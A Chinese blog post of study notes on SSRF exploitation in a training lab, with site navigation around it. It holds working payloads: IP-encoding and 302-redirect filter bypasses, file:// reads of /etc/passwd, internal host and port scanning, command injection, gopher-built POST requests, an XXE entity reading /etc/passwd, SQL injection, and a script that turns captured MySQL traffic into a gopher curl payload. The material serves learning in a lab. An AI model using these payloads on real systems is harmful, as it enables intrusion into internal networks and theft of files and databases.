当前位置: 首页 > news >正文

SSRF学习

靶场

fofa搜:“重庆橙子科技”,里面找SSRF。

SSRF基础知识

绕过127限制

要查看127.0.0.1/flag.php,但是127被过滤。

绕过方法:使用不同的进制表示127.0.0.1即可。

二进制:01111111.00000000.00000000.00000001
八进制:17700000001
十六进制:7F000001
十进制:2130706433
八进制:http://017700000001/flag.php
十六进制:http://0x7F000001/flag.php
十进制:http://2130706433/flag.php

302重定向绕过ip地址限制

在本地搭建一个非局域网下的网站,网站中写入302重定向的代码,让目标访问此网站,然后即可重定向到127访问到flag文件。

<?php
header('location:http://127.0.0.1/flag.php');
?>

SSRF内网渗透

SSRF前置知识NAT

攻击目标:从外网无法访问的内部系统。

形成原因:大部分是由于服务端是由于服务端提供了从其他服务器应用获取数据的功能,且没有对目标地址做过滤或限制。

攻击方式:借助主机A来发起SSRF攻击,通过主机A向主机B发起请求,从而获取主机B的一些信息。

伪协议

file:///etc/passwd      读取文件passwd
file:///etc/hosts       显示当前操作系统网卡的ip
file:///proc/net/arp    显示arp缓存表(寻找内网其他主机)
file:///proc/net/fib_tire   显示当前网段路由信息

寻找存活的主机

获取到IP后,对内网主机进行扫码,使用arp协议。

访问一个其他的ip,如果进行访问,一定会发送arp请求,对方必然要回复。

使用BP直接爆破访问所有的ip
然后使用file:///proc/net/arp,读取存活的主机

寻找开放的端口

在IP后添加端口,时间长,不推荐。

使用集群炸弹攻击,ip和端口。根据应答的长度来判断端口是否打开。

命令执行

直接执行:

http://172.250.250.4/shell.php?cmd=ls

gopher和占位符:

gopher://172.250.250.4

post提交

靶场的http:172.250.250.5

首先查看源代码,找到POST传参的名称。

构造payload:

POST / HTTP/1.1
Host: 172.250.250.5
Content-Type: application/x-www-from-urlencoded
Content-Length: 12
​
ip=127.0.0.1

使用gopher伪协议,然后抓包:

将构造的payload放在参数后面:

将参数进行两次url编码即可。

进行命令执行:

在ip后加;要执行的命令即可。

SSRF配合其他漏洞

用SSRF进行XXE漏洞利用

file查网段,dict查端口,http目录扫描

查看源代码,发现对用户名和密码的处理类似于xml,构造payload,使用gopher协议模拟访问一下。

POST /doLogin.php HTTP/1.1
Host: 172.250.250.6
Content-Type: application/xml
Content-Length: 65
​
<user><username>admin</username><password>admin</password></user>

回复的结果也是xml的格式。

回显了用户名。构造payload代码:

POST /doLogin.php HTTP/1.1
Host: 172.250.250.6
Content-Type: application/xml
Content-Length: 124(和下面的字符数量对应)
​
<!DOCTYPE root [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><user><username>&xxe;</username><password>admin</password></user>

得到文件。

用SSRF进行SQL注入

GET提交

直接在POST提交的链接后面跟参数,和SQL注入流程相同,然后将注入语句进行两次URL编码。将--+后面的+换成%20。

POST提交

和XXE漏洞一样,使用gopher伪协议,构造POST提交的payload

POST /Less-11 HTTP/1.1
Host: 172.250.250.11
Content-Type: application/x-www-form-urlencoded
Content-Length: 38
​
uname=admin&passwd=admin&submit=submit

用SSRF进行文件上传

multipart/from-data:媒体类型(multipart/from-data)的数据体由多个部分组成,这些部分由于一个固定的边界值分隔。

构造payload:

同样,gopher伪协议后再在后面加payload。进行两次URL编码。

利用SSRF进行文件包含

直接在URL中使用file伪协议,空格用%20代替。

利用SSRF对mysql进行未授权查询

目的:利用SSRF来执行自己想执行的mysql语句。

1、打开抓包:使用tcpdump(命令行)和wireshark(图形化)

tcpdump -i lo port 3306 -w mysql.pcapng

2、写入指令:

mysql -h127.0.0.1 -uroot --ssl-mode=DISABLED -e "show databases;"

3、把抓取的文件复制到本地,用wireshark打开

右键:跟踪流->TCP流
筛选过滤:源端口任意,目标端口3306

4、复制数据,去掉换行符

5、ASCII码转换URL编码。

转换脚本:

import sys
def results(s):a=[s[i:i+2] for i in range(0,len(s),2)]return "curl gopher://127.0.0.1:3306/_%"+"%".join(a)
if __name__=="__main__":s=sys.argv[1]print(results(s))

6、复制转换后的内容,更改ip

7、提交payload

相关文章:

  • Spring 01
  • 9、Hooks:现代魔法咒语集——React 19 核心Hooks
  • 数字系统与编码
  • 计算机组成原理笔记(十六)——4.1基本算术运算的实现
  • Java Streams 使用教程
  • 即梦AI与可灵AI视频生成功能对比分分析
  • AI与思维模型【70】——遗忘曲线
  • 从外网访问局域网服务器的方法+Linux文件和命令
  • App-Controller - 通过自然语言操控应用程序的智能框架
  • tigase源码学习杂记-组件化设计
  • 人工智能之矢量搜索报告
  • 如何轻松实现用户充值系统的API自动化测试
  • 【实战中提升自己】内网安全部署之端口隔离与MAC地址认证
  • Dify部署内网时遇到的代理问题及解决办法
  • 【C语言】char unsigned char signed char
  • python 字符串解析 struct.unpack_from(fmt, buffer, offset=0) ‘<? B I‘
  • 从零开始详细讲解 Boost.Asio
  • ZYNQ笔记(十):XADC (PS XDAC 接口)
  • 火箭姿态控制系统
  • HTML 如何改变字体颜色?深入解析与实践指南
  • “解压方程式”主题沙龙:用艺术、精油与自然的力量,寻找自我疗愈的方式
  • 广东省东莞市委原书记、市人大常委会原主任徐建华被开除党籍
  • 扫描类软件成泄密“推手”,网盘账号密码遭暴力破解
  • 全国登记在册民营企业超过5700万户,占企业总量92.3%
  • 人民网评:“中国传递爱而不是关税”
  • 道客网络陈齐彦:技术无界化,开源让AI变成了“全民食堂”